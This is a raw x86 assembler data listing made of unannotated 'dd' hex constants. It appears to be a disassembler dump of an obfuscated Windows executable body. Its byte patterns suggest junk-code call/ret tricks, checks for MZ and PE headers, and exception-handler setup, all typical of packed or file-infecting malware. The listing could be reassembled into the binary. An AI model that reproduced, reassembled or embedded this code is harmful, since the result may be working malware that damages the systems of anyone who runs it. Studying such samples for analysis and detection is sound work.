		dd 180424h, 57470000h, 48F8B6C3h, 0F28B3EC6h, 10E850h
		dd 0B18D0000h, 75F730B9h, 55EDC8FCh, 88082B2Eh,	5250786Eh
		dd 8F0Fh, 310F0000h, 9E9h, 3D24A00h, 562A1CBDh,	585A5733h
		dd 2404895Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	6CC35747h, 5CB0D668h, 2D2C98B7h, 43FE987h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89A320C3h, 4821C185h, 6A00B006h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 237AC357h
		dd 480A51BDh, 2AFBBE06h, 70E63601h, 71E4FE8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CEC35242h, 0FC7B39BDh
		dd 8529D496h, 6482ED5h,	0FD8B60Fh, 680h, 0B5958900h, 66064815h
		dd 0BAAA50BFh, 6, 3D958960h, 8006482Bh,	8B6107E5h, 6880FC3h
		dd 8B000000h, 480009B5h, 4E8C106h, 21B98D31h, 0F7660648h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 70D8532Eh, 8166CA67h, 2BB92AEEh,	0F08B93D8h
		dd 0EE950h, 33780000h, 6962E7B1h, 7F50AC2Ch, 0D2689803h
		dd 0ADBD8B93h, 0FF06480Fh, 4805E5B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 6D311894h, 9FB9D6D3h, 95FFF88Bh, 6483061h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D9C35747h, 1C617763h
		dd 0B0F903AEh, 68A0F00h, 9000000h, 481CE9B5h, 0F3B70F06h
		dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 5048C2C3h, 9CB0BFBh, 48297DB5h, 6A71E406h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 3687C355h, 8B5360DAh, 48012995h, 14E95A06h
		dd 0B8000000h, 5132FAD0h, 4839585Bh, 37CF7F1h, 0E8327B87h
		dd 619978FFh, 830F613Ch, 269h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0A3C35343h,	2C2BE260h, 0F245FF6h
		dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 6F9DC3C3h, 6BAh, 8860F00h, 57000000h, 9BD8Bh
		dd 8B5F0648h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 857B9010h, 51B503DEh, 0C106482Ch
		dd 0BE6604E8h, 8166E182h, 6681E5C7h, 9E9E2F7h, 49000000h
		dd 0F505D3CAh, 878DE953h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 5BC79C3h, 0E1113358h
		dd 1860F40h, 0FC000000h, 8F0Fh,	66580000h, 0D82BF18Bh
		dd 18F880Fh, 8F0F0000h,	0
		dd 7B9h, 0CE816600h, 0C1835ACCh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0CBECDCh, 0BF66F527h
		dd 0AE99A66h, 0EC000000h, 0C75F8F12h, 0CC59E83Ch, 0FD93BC2h
		dd 14086h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6446DF6Ah, 8B2BA31Eh, 481F15BDh
		dd 0D98C6606h, 23819589h, 0C1F60648h, 0E2840F04h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 5AF1C352h, 4BBF2CA6h, 0FF5EA32Dh,	4806A195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0B1B58990h, 0E806480Eh, 0Fh, 4515AD50h
		dd 286D446Fh, 3543A3F6h, 8BF9E0F7h, 482E2DBDh, 6A5B5F06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F7AC356h, 0C8Fh,	68C0F00h, 8B000000h, 480D51BDh
		dd 8BC32B06h, 8343DF1h,	860F0000h, 3Dh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 0DAC35545h, 873DAE4Eh
		dd 0ADEE1945h, 6870Fh, 0B58B0000h, 6482DD9h, 2CE9h, 815E5000h
		dd 905A10E7h, 60C08B58h, 0DE9h,	99CF0D00h, 3692F422h, 603FA6FFh
		dd 16096EEh, 480FADB5h,	0C1858906h, 61064815h, 8BC38B61h
		dd 0EE8166D8h, 85C7B859h, 6481FFDh, 55A3EBDBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 82C35646h, 6AC08B25h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 81FFC351h, 4805E5BDh, 7D006h, 4A850F00h
		dd 0FF000000h, 4805E585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 62860C00h
		dd 2B02ABD2h, 0C7B8608Ch, 0E900D278h, 0Eh, 4F5F07B5h, 0F9D7782Dh
		dd 6929C187h, 89612079h, 482081B5h, 0E5B5FF06h,	0E9064805h
		dd 10h,	973AFD26h, 38C3B962h, 736A02h, 0D5A45A3Fh, 306195FFh
		dd 0BE80648h, 0DA000000h, 9D360034h, 1572D9E4h,	8D09B534h
		dd 6480471h, 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 5EE4FCC3h, 66347D5Ah, 0C2B5E681h
		dd 0BD8B5757h, 6480DFDh, 5E8h, 0C9A0FF00h, 5F5F6FDFh, 25B58B5Fh
		dd 8106481Ah, 0F5A94ECFh, 57006A32h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0E953F214h
		dd 6, 5461BF4Fh, 605E2615h, 0C3816660h,	8D8BE05Dh, 64809C9h
		dd 5DBD8961h, 66064806h, 3647DF81h, 9B50B61h, 8B06480Bh
		dd 4829B1BDh, 6AF806h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 1B1418C3h, 319529D4h, 8B06480Ah
		dd 481BE1BDh, 870F06h, 1000000h, 481C9D95h, 8B665106h
		dd 0E9F95FFBh, 5, 26883064h, 0AC48BFBCh, 0B58B4EACh, 6481E95h
		dd 9FDB58Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0BEF85CC3h, 0F06E7069h, 7D9D016Fh
		dd 89064821h, 482BA5BDh, 0F758E906h, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FD8631C3h
		dd 3B989DAh, 480D81B5h,	0FC18B06h, 87h,	4EB00h,	51000000h
		dd 1DB1BD33h, 0B5F0648h, 482369BDh, 0FD858D06h,	0E9064832h
		dd 0Ch,	0B032B335h, 53F4E938h, 4C933B7Eh, 50F88B90h, 90FB8B66h
		dd 31006AFCh, 480BA195h, 0E9006A06h, 13h, 5E50E546h, 558B766Eh
		dd 216F28FCh, 919FDA03h, 8DDD82E7h, 4C1D8485h, 0B7E68106h
		dd 836288C7h, 0BD8B05C0h, 6482E29h, 0DE950h, 0AFA0000h
		dd 0C12E0BF0h, 8E9AA192h, 89921CC5h, 0DE812404h, 10F7AA63h
		dd 0BF0F006Ah, 0FDCF81FEh, 6A6D622Ch, 0B59D8900h, 0FF064815h
		dd 48277D95h, 8D68106h,	0E92FC115h, 0Eh, 8E9BE8BEh, 84FE5434h
		dd 0E4793565h, 9D8D0AC5h, 64B9C14h, 10E8h, 3751D600h, 0E5533126h
		dd 0E24B7DDBh, 0B9AC8374h, 0F18B66A5h, 0FFD3FF5Fh, 480A2D85h
		dd 0EBE78106h, 0E966CE9Ah, 8BEh, 0E8h, 0ED815D00h, 64C1D8Eh
		dd 2B7DBD8Bh, 0BD810648h, 64805E5h, 7D0h, 151860Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0A39D2FC3h, 0E8B45870h, 0Dh,	0D9E24EC6h, 91E0A90h, 755AE68Bh
		dd 5EF08B61h, 0EE8h, 91CC7600h,	0DBC82AF6h, 5606D636h
		dd 0F5A9487h, 108Eh, 0BE900h, 5C9B0000h, 0CD8F7030h, 0B22BA876h
		dd 9D8B5FE6h, 6482E45h,	100E381h, 0BE660000h, 0DB0B3B0Eh
		dd 76850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 1073FAC3h, 8E2A84D5h, 0F1B70FD5h
		dd 1CA0BD83h, 0F00064Ch, 3384h,	72E900h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3C6BEBC3h, 840FC0ACh, 2, 8D89F28Bh, 6480519h, 1CA085C7h
		dd 1064Ch, 0E9F50000h, 34h, 1CA085C7h, 64Ch, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 1AE8AC3h, 0DF29AF58h, 0BEDCC28Fh, 216ABA43h,	2E459D8Dh
		dd 12E90648h, 0D7000000h, 0C4F2D964h, 0AF493370h, 56720090h
		dd 0E4E18D4Bh, 0FF2381EDh, 0FFFFFFEh, 68Dh, 79BD8900h
		dd 66064832h, 860FDB8Ch, 18h, 128C0Fh, 0DE90000h, 72000000h
		dd 845523BEh, 1B585DAAh, 268C4EE8h, 0F04C3F6h, 6C84h, 31BD3300h
		dd 0FF064814h, 4806A195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 9B32F482h
		dd 0B9BD8B48h, 5006480Eh, 0BE605250h, 557B475h,	13E8h
		dd 0A18EFE00h, 8580D0BEh, 44A4EBB5h, 2C2CE980h,	0B41F2E01h
		dd 310F615Bh, 0F616060h, 8Eh, 585A6100h, 89240489h, 482939BDh
		dd 3FDE906h, 0BF0F0000h, 6A00B0F0h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 1131C351h
		dd 0E6186637h, 0E4F08B70h, 1840F71h, 0F5000000h, 6AD8B60Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 3A29C357h, 0F08B661Bh, 6BAh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0A7E88A7Dh, 33C7FC5Ah, 259D29F6h, 8B064805h,	53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0A7364A90h, 1C202EC8h, 0EE8h, 0DAC25500h, 7F571CF8h
		dd 5074B00h, 602D21B1h,	11E9h, 9F242500h, 8E81EA7Bh, 33417002h
		dd 58753B48h, 953389C3h, 6480EFDh, 0E8C15E61h, 0FB8B6604h
		dd 68F0F60h, 8B000000h,	4831DD95h, 0D1816606h, 66614FFBh
		dd 0D82BE2F7h, 6A935093h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 8049C350h, 0E9F38B04h
		dd 0Dh,	5D5B743Ah, 4FD093DFh, 4154294h,	0E5B5FF38h, 81064805h
		dd 4B760CF7h, 6195FF27h, 6A064830h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 1F23C351h
		dd 0A1B58B13h, 0B006481Ah, 28F0F00h, 8B000000h,	0F570E6FEh
		dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 613C32C3h, 265830Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 97AD6C3h
		dd 1EE65CFh, 6AD8B60Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0D561C351h,	7693E59Bh
		dd 0D7816626h, 6BA2053h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4882C357h
		dd 8981C390h, 48104D8Dh, 6AC38B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 454AC355h
		dd 4E8C1FCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	31C35242h, 3FA4349Eh, 0F985299Eh, 9064825h, 4823DDB5h
		dd 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	2C35242h, 89118BD2h, 4798F8E6h,	0BF0FD82Bh, 0BD8958F6h
		dd 6483065h, 880FD82Bh,	163h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 8EC35141h, 1BB9CA0Fh, 7B94D1Bh
		dd 8B000000h, 4832ADBDh, 0C18306h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 6DC35141h, 0EFF8E3D6h, 54F40CAEh
		dd 860FD93Bh, 107h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 4AC35646h, 0F6B70F75h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 5637C357h, 48F30486h, 15BE66h, 0F04C1F6h, 0AE84h, 0D9958900h
		dd 0FF06481Bh, 4806A195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0AB022BD8h
		dd 0F20A8C52h, 14E917h,	6A7B0000h, 0EF922FB2h, 967240B8h
		dd 0DAC97532h, 0F35F1B3Dh, 8166E9B5h, 5B336CEFh, 830FFB8Bh
		dd 9, 3830Fh, 8B660000h, 6AC32BF2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D874C352h
		dd 1C80F15Bh, 6660E39Fh, 654ED081h, 217D9D8Bh, 3D610648h
		dd 834h, 11860Fh, 8D890000h, 6480071h, 0EE9h, 0B59D8900h
		dd 8B064821h, 7AEF81C0h, 8B7E1F12h, 6AD88BC3h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 2B5C355h, 0A58A98C5h, 99BD8B04h, 0E9064824h,	10h, 75E56D1Bh
		dd 0F6F05F62h, 0D391F37Bh, 4097E89Ah, 20FD85C7h, 6FF90648h
		dd 6A5E8Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0EB394DC3h, 0F0732C8h, 885h, 0B58B5300h
		dd 64804E9h, 15BE665Fh,	6AC08BD0h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 500CC350h
		dd 62DFA61Fh, 299169F1h, 482F7985h, 85BD8906h, 8106481Dh
		dd 4805E5BDh, 7D006h, 3D850F00h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0D0BEC352h
		dd 0EBB58580h, 0E98044A4h, 68F0Fh, 9D890000h, 64813E9h
		dd 5E585FFh, 95890648h,	6480239h, 5E5B5FFh, 6A0648h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 701F8AC3h, 13823504h, 13E9DC57h, 9B000000h, 146F55F4h
		dd 73535750h, 0EF35AB9Bh, 441CD7A5h, 95FF7FB8h,	6483061h
		dd 90F1BF0Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	53C35747h, 212DEE99h, 8BF852D1h, 0BBBE5FFEh, 6A7A7D9Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B9E7C355h, 0D8D82BDEh, 86DE813Fh, 0F5724BDh
		dd 8B66FABFh, 50006AF8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0DDF77A1h, 152CA0FCh, 0F78BF74Eh
		dd 1E41BD8Bh, 5E80648h,	33000000h, 5C448089h, 0BE5FFB8Bh
		dd 3E79F1AEh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	4FC35545h, 3D5CD6DCh, 786CCD7Dh, 8B66FE8Bh, 50006AFEh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 3B1CFC89h, 7E95329h,	61000000h, 4275C5B1h, 9E9276Ch
		dd 0AD000000h, 0AA8684E1h, 0E36C1E77h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 3FC35141h, 0F9BB9D77h, 0B4EC5763h
		dd 15BD8BDDh, 0E9064809h, 9, 2FC4FFA4h,	195556B4h, 0F772E9DEh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 8DCECAC3h, 0AD062F26h, 0BD33F6FBh, 6482D55h
		dd 2991BD8Bh, 8B600648h, 0FFFEB9F1h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0D85C43C3h
		dd 0AED767B3h, 800DE780h, 8D21EEE7h, 648051Dh, 0EC99589h
		dd 8D210648h, 6483071h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0AFC35040h, 298589AEh, 3306481Ah, 482F99B5h
		dd 1D8D8B06h, 6A064805h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 2651C357h, 0C98D437Bh
		dd 0B42146C2h, 0D91B531h, 0E1830648h, 0A850F01h, 31000000h
		dd 480B1DB5h, 59BF6606h, 718D8B2Dh, 6A064830h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0CC1DC356h, 50B49B46h, 0F01E183h, 2185h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0F196BE49h, 606112E8h, 0C850Fh, 8B0F0000h, 6, 0D5D9D89h
		dd 0FEB90648h, 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 79E1C353h, 21388CE8h
		dd 4826C58Dh, 0F9C78006h, 1A918D21h, 8BFC0648h,	4826C58Dh
		dd 9D8BF506h, 648311Dh,	0F01E183h, 2285h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 299D2B0Ch, 8B064832h, 481A918Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 5081EFBh, 5850Fh
		dd 81660000h, 8323BCCAh, 850F01E1h, 25h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 40C35747h, 0D681460Ch
		dd 2360FECBh, 6A6061FCh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 53DCC357h, 0FFFEB95Bh
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 2247D3C3h, 858BE5E2h, 6480DC9h, 1FFD8D21h
		dd 85290648h, 64815ADh,	2AC18D21h, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B42F7C3h
		dd 4800BD95h, 0FD8D8B06h, 8B06481Fh, 1E183F3h, 0A850Fh
		dd 5E90000h, 0A3000000h, 0EA5501F5h, 2AC18D8Bh,	0E1830648h
		dd 2850F01h, 50000000h,	6A606158h, 3E85000h, 20000000h
		dd 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 11FFC350h, 864EE295h
		dd 941881CCh, 252D9D89h, 950B0648h, 648299Dh, 0FFFFFEB9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 2647C710h, 21F0B70Fh, 4820FD8Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8D21DE94h, 6482E45h,	240D8D89h, 8D8B0648h, 64820FDh
		dd 2CED958Bh, 0E1830648h, 6850F01h, 89000000h, 482EC995h
		dd 458D8B06h, 6A06482Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 1291C350h, 1E18322h
		dd 6850Fh, 8D010000h, 6480979h,	6A6061h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 59ED84C3h
		dd 5D5DA15Fh, 5E585C7h,	7D00648h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0FE3488C3h
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 7EB98A8h, 0E99D61h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8A07C350h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 8A5031E5h, 0BE330FEDh, 1F8F472h
		dd 481D5185h, 0BAC18B06h, 0F00E0000h, 0EA81h, 0C283F000h
		dd 99958914h, 8306480Ah, 858D14EAh, 64C2B0Eh, 35FF6450h
		dd 0
		dd 258964h, 0E8000000h,	0
		db 'X+б%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0A98589C8h, 3064809h, 0B70F3C40h, 95890650h,	6482CF1h
		dd 8950508Bh, 48059995h, 0F80506h, 508B0000h, 89D1030Ch
		dd 481ED195h, 8500306h,	18359589h, 8F640648h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 0B19BD83h, 0F000648h, 2484h,	6D85C600h, 47064827h, 9AA7D268h
		dd 95B5FFD4h, 8D064821h, 4B831E85h, 6AD0FF06h, 89D0FF00h
		dd 48253985h, 0E8D38B06h, 0Ch, 5EF87C1Eh, 75CD5C86h, 4D290DBAh
		dd 0C7BF0F5Fh, 606DC781h, 8B0F0000h, 3,	0BAC6BF0Fh, 0
		dd 9192BE66h, 80170C8Bh, 0C1814EDFh, 1719A4D6h,	81C18B66h
		dd 0A822D9F1h, 0C181F512h, 7E79C8ECh, 0C89FE8Ah, 0A6B86617h
		dd 3CB86691h, 1EA83BFh,	129DBE66h, 814A4A4Ah, 3DB8DD0h
		dd 0CFA8162h, 0FFFFFA0h, 0FFFFBB85h, 0A8C0FFFh,	0E9000000h
		dd 5, 0F79F508Ch, 6A604Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E96FA0C3h, 7B9C3BC1h
		dd 0BFA76E31h, 170E3D5Fh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0B58B4EC3h, 64809ADh
		dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501974h
		dd 38B8C08Bh, 89000004h, 4828A185h, 2C9D8D06h, 0FF064AB0h
		dd 83585BD3h, 482C61BDh, 17740006h, 38B85350h, 89000004h
		dd 4828A185h, 1B9D8D06h, 0FF064AADh, 6A585BD3h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0CE0C350h, 0DE8166E6h, 860F5B62h, 4,	5ECE8B52h, 0B529C08Bh
		dd 6482051h, 1EF5B58Bh,	9BE80648h, 89000007h, 48185585h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 558D8B69h, 0E8064830h, 76Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 16C35242h, 5623EE97h
		dd 2831B58Bh, 665E0648h, 9293CF81h, 21818589h, 0C4BF0648h
		dd 0E86A67E8h, 732h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 8CC35040h, 0C6F8546Eh, 85891CEEh, 64822E5h
		dd 22818589h, 880F0648h, 6, 2C258D8Bh, 0F3E80648h, 6A000006h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 1E42C356h, 0A3DB8371h, 54D1D316h,	0EDC9D5BFh
		dd 45852954h, 8B06481Eh, 1D8589CFh, 6A06482Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 90DCC353h, 0DE9F8h, 80240000h, 0D18789h, 0F2F15DEDh
		dd 0E8499EACh, 686h, 0CF5BD29h,	85890648h, 6481035h, 0B880Fh
		dd 6E90000h, 45000000h,	0B57158A3h, 9509603Fh, 6481505h
		dd 65CE861h, 81660000h,	899128F7h, 4824B585h, 810F06h
		dd 0BF000000h, 69A76CF2h, 641E8h, 41952900h, 89064802h
		dd 4828C985h, 8B7EB506h, 4819258Dh, 628E806h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0ABACB5C3h, 8589E88Ah, 648228Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0EEC35242h,	8B0F5383h, 0
		dd 5D8E85Eh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 40BC1EC3h, 29944956h, 480BA1B5h
		dd 0BE906h, 0F1030000h,	0C593E2B8h, 6F4461CFh, 0ED85898Dh
		dd 6A06481Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 9B41C357h, 578E8B1h, 0BE660000h
		dd 85894E4Dh, 64827B5h,	81C2CF81h, 63E83A8Dh, 6A000005h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0FC352h, 0FE8B66BBh, 29E18589h, 8D8B0648h
		dd 6482B1Dh, 531E8h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0B0B4619Fh, 0AE86Ah, 5CE60000h
		dd 8B4569ADh, 0EF79AEF2h, 0B98D8B50h, 5E064828h, 0E5858959h
		dd 6A064826h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 47DAC350h, 21BA5183h, 4CDE8h
		dd 0E19D8900h, 8906480Ah, 4825F585h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0ABA9E0C7h
		dd 326768B3h, 499E8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0CEA843E8h, 0F1816603h
		dd 8589B5DCh, 6480489h,	469E8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 3D8589FAh
		dd 6A06481Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 5726C352h, 0FAD10159h,	1A2D9D29h
		dd 0C9810648h, 194B12BFh, 415E8h, 85896000h, 6480EDDh
		dd 45C38166h, 858961CFh, 6480D05h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 9CC35545h, 0CBCAD171h, 8B12CB16h
		dd 481ED98Dh, 11BE6606h, 8900B0B6h, 48006DBDh, 0D8B60F06h
		dd 5870Fh, 53BF0000h, 3002A23h,	4800DDB5h, 6BA06h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0D9AB5FC3h, 0DB3C086Fh, 0C985294Ah, 29064806h, 481CBD85h
		dd 8BC38B06h, 48104DB5h, 0B1BD8B06h, 0C106481Eh, 820F04E8h
		dd 10h,	0BE9h, 9FF97F00h, 5EE0A6E6h, 0E05277BEh, 60E2F766h
		dd 0C65B50Bh, 81660648h, 618800EEh, 6AD82Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 532F79C3h
		dd 2D9EE84Bh, 8D8B1B11h, 6481D85h, 0FEE5BE50h, 1C891B4Dh
		dd 0A195FF24h, 6A064806h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0DF29C357h,	1BDCC28Fh
		dd 440F281Ch, 6A5BF9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 820F16C3h, 6, 151D8D09h,	958D0648h
		dd 6482AA9h, 0A4BF6653h, 1A89599Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 34C35646h, 0D912BE53h, 0C7A74BE0h
		dd 0F3B70FB4h, 66044289h, 958DF08Bh, 6480A6Dh, 89F98B66h
		dd 0E1BD8B1Ah, 89064825h, 66510442h, 7A04DF81h,	81958D5Eh
		dd 6A06482Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 81C0C355h, 17F02684h, 1A890DCBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 3CC35343h
		dd 0B364691h, 0E9F98B66h, 5, 88F49043h,	44289DAh, 19A6B966h
